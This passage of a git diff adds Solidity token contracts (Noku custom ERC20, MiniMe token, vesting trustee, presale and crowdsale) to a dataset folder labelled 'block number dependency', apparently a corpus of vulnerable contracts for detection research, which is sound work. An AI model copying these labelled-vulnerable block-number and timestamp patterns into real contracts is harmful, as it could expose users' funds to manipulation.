balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance( + address _owner, + address _spender + ) + public + view + returns (uint256) + { + return allowed[_owner][_spender]; + } + + + function increaseApproval( + address _spender, + uint _addedValue + ) + public + returns (bool) + { + allowed[msg.sender][_spender] = ( + allowed[msg.sender][_spender].add(_addedValue)); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval( + address _spender, + uint _subtractedValue + ) + public + returns (bool) + { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + modifier hasMintPermission() { + require(msg.sender == owner); + _; + } + + + function mint( + address _to, + uint256 _amount + ) + hasMintPermission + canMint + public + returns (bool) + { + totalSupply_ = totalSupply_.add(_amount); + balances[_to] = balances[_to].add(_amount); + emit Mint(_to, _amount); + emit Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } +} + + + + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + + + + +contract TokenTimelock { + using SafeERC20 for ERC20Basic; + + + ERC20Basic public token; + + + address public beneficiary; + + + uint256 public releaseTime; + + constructor( + ERC20Basic _token, + address _beneficiary, + uint256 _releaseTime + ) + public + { + + require(_releaseTime > block.timestamp); + token = _token; + beneficiary = _beneficiary; + releaseTime = _releaseTime; + } + + + function release() public { + + require(block.timestamp >= releaseTime); + + uint256 amount = token.balanceOf(this); + require(amount > 0); + + token.safeTransfer(beneficiary, amount); + } +} + + + + + +pragma solidity ^0.4.23; + + + + + + + +contract TokenVesting is Ownable { + using SafeMath for uint256; + using SafeERC20 for ERC20Basic; + + event Released(uint256 amount); + event Revoked(); + + + address public beneficiary; + + uint256 public cliff; + uint256 public start; + uint256 public duration; + + bool public revocable; + + mapping (address => uint256) public released; + mapping (address => bool) public revoked; + + + constructor( + address _beneficiary, + uint256 _start, + uint256 _cliff, + uint256 _duration, + bool _revocable + ) + public + { + require(_beneficiary != address(0)); + require(_cliff <= _duration); + + beneficiary = _beneficiary; + revocable = _revocable; + duration = _duration; + cliff = _start.add(_cliff); + start = _start; + } + + + function release(ERC20Basic token) public { + uint256 unreleased = releasableAmount(token); + + require(unreleased > 0); + + released[token] = released[token].add(unreleased); + + token.safeTransfer(beneficiary, unreleased); + + emit Released(unreleased); + } + + + function revoke(ERC20Basic token) public onlyOwner { + require(revocable); + require(!revoked[token]); + + uint256 balance = token.balanceOf(this); + + uint256 unreleased = releasableAmount(token); + uint256 refund = balance.sub(unreleased); + + revoked[token] = true; + + token.safeTransfer(owner, refund); + + emit Revoked(); + } + + + function releasableAmount(ERC20Basic token) public view returns (uint256) { + return vestedAmount(token).sub(released[token]); + } + + + function vestedAmount(ERC20Basic token) public view returns (uint256) { + uint256 currentBalance = token.balanceOf(this); + uint256 totalBalance = currentBalance.add(released[token]); + + if (block.timestamp < cliff) { + return 0; + } else if (block.timestamp >= start.add(duration) || revoked[token]) { + return totalBalance; + } else { + return totalBalance.mul(block.timestamp.sub(start)).div(duration); + } + } +} + + + + +contract NokuCustomERC20 is NokuCustomToken, DetailedERC20, MintableToken, BurnableToken { + using SafeMath for uint256; + + event LogNokuCustomERC20Created( + address indexed caller, + string indexed name, + string indexed symbol, + uint8 decimals, + uint256 transferableFromBlock, + uint256 lockEndBlock, + address pricingPlan, + address serviceProvider + ); + event LogMintingFeeEnabledChanged(address indexed caller, bool indexed mintingFeeEnabled); + event LogInformationChanged(address indexed caller, string name, string symbol); + event LogTransferFeePaymentFinished(address indexed caller); + event LogTransferFeePercentageChanged(address indexed caller, uint256 indexed transferFeePercentage); + + + bool public mintingFeeEnabled; + + + uint256 public transferableFromBlock; + + + uint256 public lockEndBlock; + + + mapping (address => uint256) public initiallyLockedBalanceOf; + + + uint256 public transferFeePercentage; + + + bool public transferFeePaymentFinished; + + + TokenTimelock public timelock; + + + TokenVesting public vesting; + + bytes32 public constant BURN_SERVICE_NAME = "NokuCustomERC20.burn"; + bytes32 public constant MINT_SERVICE_NAME = "NokuCustomERC20.mint"; + bytes32 public constant TIMELOCK_SERVICE_NAME = "NokuCustomERC20.timelock"; + bytes32 public constant VESTING_SERVICE_NAME = "NokuCustomERC20.vesting"; + + modifier canTransfer(address _from, uint _value) { + require(block.number >= transferableFromBlock, "token not transferable"); + + if (block.number < lockEndBlock) { + uint256 locked = lockedBalanceOf(_from); + if (locked > 0) { + uint256 newBalance = balanceOf(_from).sub(_value); + require(newBalance >= locked, "_value exceeds locked amount"); + } + } + _; + } + + constructor( + string _name, + string _symbol, + uint8 _decimals, + uint256 _transferableFromBlock, + uint256 _lockEndBlock, + address _pricingPlan, + address _serviceProvider + ) + NokuCustomToken(_pricingPlan, _serviceProvider) + DetailedERC20(_name, _symbol, _decimals) public + { + require(bytes(_name).length > 0, "_name is empty"); + require(bytes(_symbol).length > 0, "_symbol is empty"); + require(_lockEndBlock >= _transferableFromBlock, "_lockEndBlock lower than _transferableFromBlock"); + + transferableFromBlock = _transferableFromBlock; + lockEndBlock = _lockEndBlock; + mintingFeeEnabled = true; + + emit LogNokuCustomERC20Created( + msg.sender, + _name, + _symbol, + _decimals, + _transferableFromBlock, + _lockEndBlock, + _pricingPlan, + _serviceProvider + ); + } + + function setMintingFeeEnabled(bool _mintingFeeEnabled) public onlyOwner returns(bool successful) { + require(_mintingFeeEnabled != mintingFeeEnabled, "_mintingFeeEnabled == mintingFeeEnabled"); + + mintingFeeEnabled = _mintingFeeEnabled; + + emit LogMintingFeeEnabledChanged(msg.sender, _mintingFeeEnabled); + + return true; + } + + + function setInformation(string _name, string _symbol) public onlyOwner returns(bool successful) { + require(bytes(_name).length > 0, "_name is empty"); + require(bytes(_symbol).length > 0, "_symbol is empty"); + + name = _name; + symbol = _symbol; + + emit LogInformationChanged(msg.sender, _name, _symbol); + + return true; + } + + + function finishTransferFeePayment() public onlyOwner returns(bool finished) { + require(!transferFeePaymentFinished, "transfer fee finished"); + + transferFeePaymentFinished = true; + + emit LogTransferFeePaymentFinished(msg.sender); + + return true; + } + + + function setTransferFeePercentage(uint256 _transferFeePercentage) public onlyOwner { + require(0 <= _transferFeePercentage && _transferFeePercentage <= 100, "_transferFeePercentage not in [0, 100]"); + require(_transferFeePercentage != transferFeePercentage, "_transferFeePercentage equal to current value"); + + transferFeePercentage = _transferFeePercentage; + + emit LogTransferFeePercentageChanged(msg.sender, _transferFeePercentage); + } + + function lockedBalanceOf(address _to) public view returns(uint256 locked) { + uint256 initiallyLocked = initiallyLockedBalanceOf[_to]; + if (block.number >= lockEndBlock) return 0; + else if (block.number <= transferableFromBlock) return initiallyLocked; + + uint256 releaseForBlock = initiallyLocked.div(lockEndBlock.sub(transferableFromBlock)); + uint256 released = block.number.sub(transferableFromBlock).mul(releaseForBlock); + return initiallyLocked.sub(released); + } + + + function transferFee(uint256 _value) public view returns(uint256 usageFee) { + return _value.mul(transferFeePercentage).div(100); + } + + + function freeTransfer() public view returns (bool isTransferFree) { + return transferFeePaymentFinished || transferFeePercentage == 0; + } + + + function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns(bool transferred) { + if (freeTransfer()) { + return super.transfer(_to, _value); + } + else { + uint256 usageFee = transferFee(_value); + uint256 netValue = _value.sub(usageFee); + + bool feeTransferred = super.transfer(owner, usageFee); + bool netValueTransferred = super.transfer(_to, netValue); + + return feeTransferred && netValueTransferred; + } + } + + + function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns(bool transferred) { + if (freeTransfer()) { + return super.transferFrom(_from, _to, _value); + } + else { + uint256 usageFee = transferFee(_value); + uint256 netValue = _value.sub(usageFee); + + bool feeTransferred = super.transferFrom(_from, owner, usageFee); + bool netValueTransferred = super.transferFrom(_from, _to, netValue); + + return feeTransferred && netValueTransferred; + } + } + + + function burn(uint256 _amount) public canBurn { + require(_amount > 0, "_amount is zero"); + + super.burn(_amount); + + require(pricingPlan.payFee(BURN_SERVICE_NAME, _amount, msg.sender), "burn fee failed"); + } + + + function mint(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { + require(_to != 0, "_to is zero"); + require(_amount > 0, "_amount is zero"); + + super.mint(_to, _amount); + + if (mintingFeeEnabled) { + require(pricingPlan.payFee(MINT_SERVICE_NAME, _amount, msg.sender), "mint fee failed"); + } + + return true; + } + + + function mintLocked(address _to, uint256 _amount) public onlyOwner canMint returns(bool minted) { + initiallyLockedBalanceOf[_to] = initiallyLockedBalanceOf[_to].add(_amount); + + return mint(_to, _amount); + } + + + function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime) public onlyOwner canMint + returns(bool minted) + { + require(timelock == address(0), "TokenTimelock already activated"); + + timelock = new TokenTimelock(this, _to, _releaseTime); + + minted = mint(timelock, _amount); + + require(pricingPlan.payFee(TIMELOCK_SERVICE_NAME, _amount, msg.sender), "timelock fee failed"); + } + + + function mintVested(address _to, uint256 _amount, uint256 _startTime, uint256 _duration) public onlyOwner canMint + returns(bool minted) + { + require(vesting == address(0), "TokenVesting already activated"); + + vesting = new TokenVesting(_to, _startTime, 0, _duration, true); + + minted = mint(vesting, _amount); + + require(pricingPlan.payFee(VESTING_SERVICE_NAME, _amount, msg.sender), "vesting fee failed"); + } + + + function releaseVested() public returns(bool released) { + require(vesting != address(0), "TokenVesting not activated"); + + vesting.release(this); + + return true; + } + + + function revokeVested() public onlyOwner returns(bool revoked) { + require(vesting != address(0), "TokenVesting not activated"); + + vesting.revoke(this); + + return true; + } +} + + + + +library AddressUtils { + + + function isContract(address addr) internal view returns (bool) { + uint256 size; + + + + + + + + assembly { size := extcodesize(addr) } + return size > 0; + } + +} + + + +contract NokuCustomService is Pausable { + using AddressUtils for address; + + event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan); + + + NokuPricingPlan public pricingPlan; + + constructor(address _pricingPlan) internal { + require(_pricingPlan.isContract(), "_pricingPlan is not contract"); + + pricingPlan = NokuPricingPlan(_pricingPlan); + } + + function setPricingPlan(address _pricingPlan) public onlyOwner { + require(_pricingPlan.isContract(), "_pricingPlan is not contract"); + require(NokuPricingPlan(_pricingPlan) != pricingPlan, "_pricingPlan equal to current"); + + pricingPlan = NokuPricingPlan(_pricingPlan); + + emit LogPricingPlanChanged(msg.sender, _pricingPlan); + } +} + + + + +contract NokuCustomERC20Service is NokuCustomService { + event LogNokuCustomERC20ServiceCreated(address caller, address indexed pricingPlan); + + uint256 public constant CREATE_AMOUNT = 1 * 10**18; + + uint8 public constant DECIMALS = 18; + + bytes32 public constant CUSTOM_ERC20_CREATE_SERVICE_NAME = "NokuCustomERC20.create"; + + constructor(address _pricingPlan) NokuCustomService(_pricingPlan) public { + emit LogNokuCustomERC20ServiceCreated(msg.sender, _pricingPlan); + } + + + function createCustomToken(string _name, string _symbol, uint8 ) public returns(NokuCustomERC20 customToken) { + customToken = new NokuCustomERC20( + _name, + _symbol, + DECIMALS, + block.number, + block.number, + pricingPlan, + owner + ); + + + customToken.transferOwnership(msg.sender); + + require(pricingPlan.payFee(CUSTOM_ERC20_CREATE_SERVICE_NAME, CREATE_AMOUNT, msg.sender), "fee payment failed"); + } + + function createCustomToken( + string _name, + string _symbol, + uint8 , + uint256 transferableFromBlock, + uint256 lockEndBlock + ) + public returns(NokuCustomERC20 customToken) + { + customToken = new NokuCustomERC20( + _name, + _symbol, + DECIMALS, + transferableFromBlock, + lockEndBlock, + pricingPlan, + owner + ); + + + customToken.transferOwnership(msg.sender); + + require(pricingPlan.payFee(CUSTOM_ERC20_CREATE_SERVICE_NAME, CREATE_AMOUNT, msg.sender), "fee payment failed"); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3284.sol b/smart_contract_dataset/block number dependency/3284.sol new file mode 100644 index 0000000000000000000000000000000000000000..827f3e4f7fc0ce6a3ea0e7290e316816f746ebcf --- /dev/null +++ b/smart_contract_dataset/block number dependency/3284.sol @@ -0,0 +1,1391 @@ +pragma solidity 0.4.18; + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +library SafeMath { + function mul(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal constant returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal constant returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal constant returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + + +library Math { + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } +} + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + Unpause(); + } +} + +contract Presale { + + using SafeMath for uint256; + uint256 private weiRaised; + uint256 private startTime; + uint256 private endTime; + uint256 private rate; + + uint256 private cap; + + function Presale(uint256 _startTime, uint256 duration, uint256 _rate, uint256 _cap) public { + require(_rate > 0); + require(_cap > 0); + require(_startTime >= now); + require(duration > 0); + + rate = _rate; + cap = _cap; + startTime = _startTime; + endTime = startTime + duration * 1 days; + weiRaised = 0; + } + + function totalWei() public constant returns(uint256) { + return weiRaised; + } + + function capRemaining() public constant returns(uint256) { + return cap.sub(weiRaised); + } + + function totalCap() public constant returns(uint256) { + return cap; + } + + function buyTokens(address purchaser, uint256 value) internal returns(uint256) { + require(validPurchase(value)); + uint256 tokens = rate.mul(value); + weiRaised = weiRaised.add(value); + return tokens; + } + + function hasEnded() internal constant returns(bool) { + return now > endTime || weiRaised >= cap; + } + + function hasStarted() internal constant returns(bool) { + return now > startTime; + } + + function validPurchase(uint256 value) internal view returns (bool) { + bool withinCap = weiRaised.add(value) <= cap; + return withinCap && withinPeriod(); + } + + function presaleRate() public view returns(uint256) { + return rate; + } + + function withinPeriod () private constant returns(bool) { + return now >= startTime && now <= endTime; + } +} + + +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + assert(token.transfer(to, value)); + } + + function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { + assert(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + assert(token.approve(spender, value)); + } +} + + +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + + +contract VestingTrustee is Ownable, CanReclaimToken { + using SafeMath for uint256; + + + ERC20 public token; + + + struct Grant { + uint256 value; + uint256 start; + uint256 cliff; + uint256 end; + uint256 installmentLength; + uint256 transferred; + bool revokable; + uint256 prevested; + uint256 vestingPercentage; + } + + + mapping (address => Grant) public grants; + + + uint256 public totalVesting; + + event NewGrant(address indexed _from, address indexed _to, uint256 _value); + event TokensUnlocked(address indexed _to, uint256 _value); + event GrantRevoked(address indexed _holder, uint256 _refund); + + + + function VestingTrustee(address _token) { + require(_token != address(0)); + + token = ERC20(_token); + } + + + + + + + + + + function grant(address _to, uint256 _value, uint256 _start, uint256 _cliff, uint256 _end, + uint256 _installmentLength, uint256 vestingPercentage, uint256 prevested, bool _revokable) + external onlyOwner { + + require(_to != address(0)); + require(_to != address(this)); + require(_value > 0); + require(_value.sub(prevested) > 0); + require(vestingPercentage > 0); + + + require(grants[_to].value == 0); + + + require(_start <= _cliff && _cliff <= _end); + + + require(_installmentLength > 0 && _installmentLength <= _end.sub(_start)); + + + require(totalVesting.add(_value.sub(prevested)) <= token.balanceOf(address(this))); + + + grants[_to] = Grant({ + value: _value, + start: _start, + cliff: _cliff, + end: _end, + installmentLength: _installmentLength, + transferred: prevested, + revokable: _revokable, + prevested: prevested, + vestingPercentage: vestingPercentage + }); + + totalVesting = totalVesting.add(_value.sub(prevested)); + NewGrant(msg.sender, _to, _value); + } + + + + function revoke(address _holder) public onlyOwner { + Grant memory grant = grants[_holder]; + + + require(grant.revokable); + + + + uint256 refund = grant.value.sub(grant.transferred); + + + delete grants[_holder]; + + + totalVesting = totalVesting.sub(refund); + token.transfer(msg.sender, refund); + + GrantRevoked(_holder, refund); + } + + + + + + function vestedTokens(address _holder, uint256 _time) external constant returns (uint256) { + Grant memory grant = grants[_holder]; + if (grant.value == 0) { + return 0; + } + + return calculateVestedTokens(grant, _time); + } + + + + + + function calculateVestedTokens(Grant _grant, uint256 _time) private constant returns (uint256) { + + if (_time < _grant.cliff) { + return _grant.prevested; + } + + + if (_time >= _grant.end) { + return _grant.value; + } + + + uint256 installmentsPast = _time.sub(_grant.cliff).div(_grant.installmentLength) + 1; + + + + return _grant.prevested.add(_grant.value.mul(installmentsPast.mul(_grant.vestingPercentage)).div(100)); + } + + + + function unlockVestedTokens() external { + Grant storage grant = grants[msg.sender]; + + + require(grant.value != 0); + + + uint256 vested = calculateVestedTokens(grant, now); + if (vested == 0) { + revert(); + } + + + uint256 transferable = vested.sub(grant.transferred); + if (transferable == 0) { + revert(); + } + + grant.transferred = grant.transferred.add(transferable); + totalVesting = totalVesting.sub(transferable); + token.transfer(msg.sender, transferable); + TokensUnlocked(msg.sender, transferable); + } + + function reclaimEther() external onlyOwner { + assert(owner.send(this.balance)); + } +} + +contract Controlled { + + + modifier onlyController { require(msg.sender == controller); _; } + + address public controller; + + function Controlled() public { controller = msg.sender;} + + + + function changeController(address _newController) public onlyController { + controller = _newController; + } +} + + +contract TokenController { + + + + function proxyPayment(address _owner) public payable returns(bool); + + + + + + + + function onTransfer(address _from, address _to, uint _amount) public returns(bool); + + + + + + + + function onApprove(address _owner, address _spender, uint _amount) public + returns(bool); +} + + + + + + + + + + + + + + +contract ApproveAndCallFallBack { + function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; +} + + + + +contract MiniMeToken is Controlled { + + string public name; + uint8 public decimals; + string public symbol; + string public version = 'MMT_0.2'; + + + + + + struct Checkpoint { + + + uint128 fromBlock; + + + uint128 value; + } + + + + MiniMeToken public parentToken; + + + + uint public parentSnapShotBlock; + + + uint public creationBlock; + + + + + mapping (address => Checkpoint[]) balances; + + + mapping (address => mapping (address => uint256)) allowed; + + + Checkpoint[] totalSupplyHistory; + + + bool public transfersEnabled; + + + MiniMeTokenFactory public tokenFactory; + + + + + + + + + + + + + + + + + + + function MiniMeToken( + address _tokenFactory, + address _parentToken, + uint _parentSnapShotBlock, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol, + bool _transfersEnabled + ) public { + tokenFactory = MiniMeTokenFactory(_tokenFactory); + name = _tokenName; + decimals = _decimalUnits; + symbol = _tokenSymbol; + parentToken = MiniMeToken(_parentToken); + parentSnapShotBlock = _parentSnapShotBlock; + transfersEnabled = _transfersEnabled; + creationBlock = block.number; + } + + + + + + + + + + + function transfer(address _to, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + doTransfer(msg.sender, _to, _amount); + return true; + } + + + + + + + + function transferFrom(address _from, address _to, uint256 _amount + ) public returns (bool success) { + + + + + + if (msg.sender != controller) { + require(transfersEnabled); + + + require(allowed[_from][msg.sender] >= _amount); + allowed[_from][msg.sender] -= _amount; + } + doTransfer(_from, _to, _amount); + return true; + } + + + + + + + + function doTransfer(address _from, address _to, uint _amount + ) internal { + + if (_amount == 0) { + Transfer(_from, _to, _amount); + return; + } + + require(parentSnapShotBlock < block.number); + + + require((_to != 0) && (_to != address(this))); + + + + var previousBalanceFrom = balanceOfAt(_from, block.number); + + require(previousBalanceFrom >= _amount); + + + if (isContract(controller)) { + require(TokenController(controller).onTransfer(_from, _to, _amount)); + } + + + + updateValueAtNow(balances[_from], previousBalanceFrom - _amount); + + + + var previousBalanceTo = balanceOfAt(_to, block.number); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(balances[_to], previousBalanceTo + _amount); + + + Transfer(_from, _to, _amount); + + } + + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balanceOfAt(_owner, block.number); + } + + + + + + + + function approve(address _spender, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + + + + + + require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); + + + if (isContract(controller)) { + require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); + } + + allowed[msg.sender][_spender] = _amount; + Approval(msg.sender, _spender, _amount); + return true; + } + + + + + + + function allowance(address _owner, address _spender + ) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + + + + + + + function approveAndCall(address _spender, uint256 _amount, bytes _extraData + ) public returns (bool success) { + require(approve(_spender, _amount)); + + ApproveAndCallFallBack(_spender).receiveApproval( + msg.sender, + _amount, + this, + _extraData + ); + + return true; + } + + + + function totalSupply() public constant returns (uint) { + return totalSupplyAt(block.number); + } + + + + + + + + + + + function balanceOfAt(address _owner, uint _blockNumber) public constant + returns (uint) { + + + + + + + if ((balances[_owner].length == 0) + || (balances[_owner][0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0) { + return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); + } else { + + return 0; + } + + + } else { + return getValueAt(balances[_owner], _blockNumber); + } + } + + + + + function totalSupplyAt(uint _blockNumber) public constant returns(uint) { + + + + + + + if ((totalSupplyHistory.length == 0) + || (totalSupplyHistory[0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0) { + return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); + } else { + return 0; + } + + + } else { + return getValueAt(totalSupplyHistory, _blockNumber); + } + } + + + + + + + + + + + + + + + + function createCloneToken( + string _cloneTokenName, + uint8 _cloneDecimalUnits, + string _cloneTokenSymbol, + uint _snapshotBlock, + bool _transfersEnabled + ) public returns(address) { + if (_snapshotBlock == 0) _snapshotBlock = block.number; + MiniMeToken cloneToken = tokenFactory.createCloneToken( + this, + _snapshotBlock, + _cloneTokenName, + _cloneDecimalUnits, + _cloneTokenSymbol, + _transfersEnabled + ); + + cloneToken.changeController(msg.sender); + + + NewCloneToken(address(cloneToken), _snapshotBlock); + return address(cloneToken); + } + + + + + + + + + + function generateTokens(address _owner, uint _amount + ) public onlyController returns (bool) { + uint curTotalSupply = totalSupply(); + require(curTotalSupply + _amount >= curTotalSupply); + uint previousBalanceTo = balanceOf(_owner); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); + updateValueAtNow(balances[_owner], previousBalanceTo + _amount); + Transfer(0, _owner, _amount); + return true; + } + + + + + + + function destroyTokens(address _owner, uint _amount + ) onlyController public returns (bool) { + uint curTotalSupply = totalSupply(); + require(curTotalSupply >= _amount); + uint previousBalanceFrom = balanceOf(_owner); + require(previousBalanceFrom >= _amount); + updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); + updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); + Transfer(_owner, 0, _amount); + return true; + } + + + + + + + + + function enableTransfers(bool _transfersEnabled) public onlyController { + transfersEnabled = _transfersEnabled; + } + + + + + + + + + + function getValueAt(Checkpoint[] storage checkpoints, uint _block + ) constant internal returns (uint) { + if (checkpoints.length == 0) return 0; + + + if (_block >= checkpoints[checkpoints.length-1].fromBlock) + return checkpoints[checkpoints.length-1].value; + if (_block < checkpoints[0].fromBlock) return 0; + + + uint min = 0; + uint max = checkpoints.length-1; + while (max > min) { + uint mid = (max + min + 1)/ 2; + if (checkpoints[mid].fromBlock<=_block) { + min = mid; + } else { + max = mid-1; + } + } + return checkpoints[min].value; + } + + + + + + function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value + ) internal { + if ((checkpoints.length == 0) + || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { + Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; + newCheckPoint.fromBlock = uint128(block.number); + newCheckPoint.value = uint128(_value); + } else { + Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; + oldCheckPoint.value = uint128(_value); + } + } + + + + + function isContract(address _addr) constant internal returns(bool) { + uint size; + if (_addr == 0) return false; + assembly { + size := extcodesize(_addr) + } + return size>0; + } + + + function min(uint a, uint b) pure internal returns (uint) { + return a < b ? a : b; + } + + + + + function () public payable { + require(isContract(controller)); + require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender)); + } + + + + + + + + + + function claimTokens(address _token) public onlyController { + if (_token == 0x0) { + controller.transfer(this.balance); + return; + } + + MiniMeToken token = MiniMeToken(_token); + uint balance = token.balanceOf(this); + token.transfer(controller, balance); + ClaimedTokens(_token, controller, balance); + } + + + + + event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); + event Transfer(address indexed _from, address indexed _to, uint256 _amount); + event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); + event Approval( + address indexed _owner, + address indexed _spender, + uint256 _amount + ); + +} + + + + + + + + + +contract MiniMeTokenFactory { + + + + + + + + + + + + function createCloneToken( + address _parentToken, + uint _snapshotBlock, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol, + bool _transfersEnabled + ) public returns (MiniMeToken) { + MiniMeToken newToken = new MiniMeToken( + this, + _parentToken, + _snapshotBlock, + _tokenName, + _decimalUnits, + _tokenSymbol, + _transfersEnabled + ); + + newToken.changeController(msg.sender); + return newToken; + } +} + + +contract Whitelist is Ownable { + mapping(address => bool) public whitelist; + + event WhitelistedAddressAdded(address addr); + event WhitelistedAddressRemoved(address addr); + + + modifier onlyWhitelisted() { + require(whitelist[msg.sender]); + _; + } + + + function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { + if (!whitelist[addr]) { + whitelist[addr] = true; + WhitelistedAddressAdded(addr); + success = true; + } + } + + + function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { + for (uint256 i = 0; i < addrs.length; i++) { + if (addAddressToWhitelist(addrs[i])) { + success = true; + } + } + } + + + function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { + if (whitelist[addr]) { + whitelist[addr] = false; + WhitelistedAddressRemoved(addr); + success = true; + } + } + + + function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { + for (uint256 i = 0; i < addrs.length; i++) { + if (removeAddressFromWhitelist(addrs[i])) { + success = true; + } + } + } + +} + +contract Crowdsale is Presale, Pausable, CanReclaimToken, Whitelist { + + using SafeMath for uint256; + address public whitelistAddress; + address public wallet; + MiniMeToken public token; + uint256 private weiRaised = 0; + uint256 private cap = 0; + bool private publicSaleInitialized = false; + bool private finalized = false; + uint256 private tokensSold = 0; + uint256 private startTime; + uint256 private endTime; + uint256 public maxTokens; + mapping(address => uint256) public contributions; + mapping(address => uint256) public investorCaps; + address[] public investors; + address[] public founders; + address[] public advisors; + VestingTrustee public trustee; + address public reserveWallet; + + + + struct Tier { + uint256 rate; + uint256 max; + } + + uint public privateSaleTokensAvailable; + uint public privateSaleTokensSold = 0; + uint public publicTokensAvailable; + + uint8 public totalTiers = 0; + bool public tiersInitialized = false; + uint256 public maxTiers = 6; + Tier[6] public tiers; + + event TokenPurchase(address indexed purchaser, uint256 value, uint256 amount); + enum Stage { Preparing, Presale, PresaleFinished, PublicSale, Success, Finalized } + + function Crowdsale( + uint256 _presaleStartTime, + uint256 _presaleDuration, + uint256 _presaleRate, + uint256 _presaleCap, + address erc20Token, + address _wallet, + uint8 _tiers, + uint256 _cap, + address _reserveWallet) + public + Presale(_presaleStartTime, _presaleDuration, _presaleRate, _presaleCap) + { + require(_wallet != address(0)); + require(erc20Token != address(0)); + require(_tiers > 0 && _tiers <= maxTiers); + require(_cap > 0); + require(_reserveWallet != address(0)); + token = MiniMeToken(erc20Token); + wallet = _wallet; + totalTiers = _tiers; + cap = _cap; + 